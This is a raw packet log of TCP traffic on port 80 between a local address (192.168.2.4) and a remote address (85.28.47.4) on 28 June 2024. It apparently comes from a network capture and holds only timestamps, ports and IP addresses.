Jun 28, 2024 22:32:06.248071909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248081923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248091936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248101950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248111010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248119116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.248127937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248168945 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.248577118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248586893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248629093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.248799086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248809099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248817921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248826981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248836994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248846054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248858929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.248867035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248876095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.248894930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248907089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248912096 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.248919964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248928070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.248936892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248945951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248955965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248963118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.248971939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248981953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.248994112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249006987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249011993 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.249030113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.249056101 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.249691963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249702930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249711990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249722958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249732018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249739885 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.249782085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.249870062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249881029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249888897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249897957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249907017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249913931 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.249922991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249932051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249938965 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.249947071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249957085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249964952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249974966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.249984026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.249993086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.250001907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.250013113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.250017881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.250037909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.250060081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.250952005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.250962973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.250972033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.250983000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.250993013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251008987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251013994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.251049042 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.251065016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251076937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251091957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251102924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251110077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.251118898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251128912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.251135111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251144886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251153946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251168966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.251173973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251183987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251192093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251203060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.251209974 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.251234055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.251260042 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.252023935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252033949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252043009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252053022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252063036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252073050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252080917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.252089977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252099037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252108097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252115011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.252124071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252135992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252146006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.252151012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252162933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252172947 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.252177954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252187967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252199888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252209902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.252218008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252224922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.252233028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.252254009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.252274990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.338831902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.338891029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.338901997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.338944912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.338984013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.339023113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339032888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339044094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339060068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339070082 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.339106083 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.339682102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339731932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339739084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.339747906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339777946 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.339804888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.339924097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339935064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339946985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339957952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339967966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.339977026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.339999914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.340044022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.340105057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340115070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340126038 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340152025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.340188026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.340218067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340291023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.340321064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340332031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340342045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340353012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340363979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340370893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.340379953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340409994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.340436935 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.340662003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340672970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340682983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340693951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340703964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340714931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340722084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.340764999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.340944052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.340992928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.341056108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341067076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341075897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341085911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341097116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341109037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.341114044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341124058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341135979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341152906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.341186047 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.341418028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341428995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341475964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.341576099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341587067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341595888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341613054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341626883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.341635942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341646910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341654062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.341662884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341672897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341680050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.341690063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341700077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341706991 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.341717005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341726065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.341736078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.341779947 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.342118979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342164040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.342183113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342192888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342202902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342214108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342223883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.342267990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.342319965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342330933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342340946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342353106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342363119 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.342374086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342385054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342392921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.342401981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342412949 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.342417955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342428923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342439890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.342457056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.342494965 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.343137026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343146086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343156099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343167067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343177080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.343183994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343194962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343205929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343214989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.343223095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343235016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343245983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343256950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.343262911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343275070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343285084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.343313932 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.343816996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343828917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343837976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343848944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343861103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343867064 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.343875885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343884945 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.343894005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343904972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343913078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.343920946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343931913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343943119 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.343950033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343961000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.343970060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.344000101 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.344438076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344448090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344458103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344468117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344480038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.344495058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344506979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344511986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.344521046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344532013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344543934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.344548941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344561100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344569921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.344578981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344589949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344608068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344614029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.344623089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344635963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344640970 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.344649076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344660997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.344666958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.344687939 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.344712973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.747546911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747579098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747590065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747622967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.747641087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.747663975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747672081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747682095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747692108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747703075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.747735977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.747761011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747803926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.747814894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747857094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.747961998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747971058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747976065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747984886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.747992992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748002052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748008966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748018980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748028040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748040915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748049021 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748102903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748348951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748359919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748370886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748380899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748388052 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748398066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748409033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748420000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748430967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748447895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748457909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748466969 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748476982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748497009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748507977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748524904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748529911 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748538971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748550892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748564005 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748569965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748581886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.748589993 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748600006 CEST	80	49731	85.28.47.4	192.168.2.4
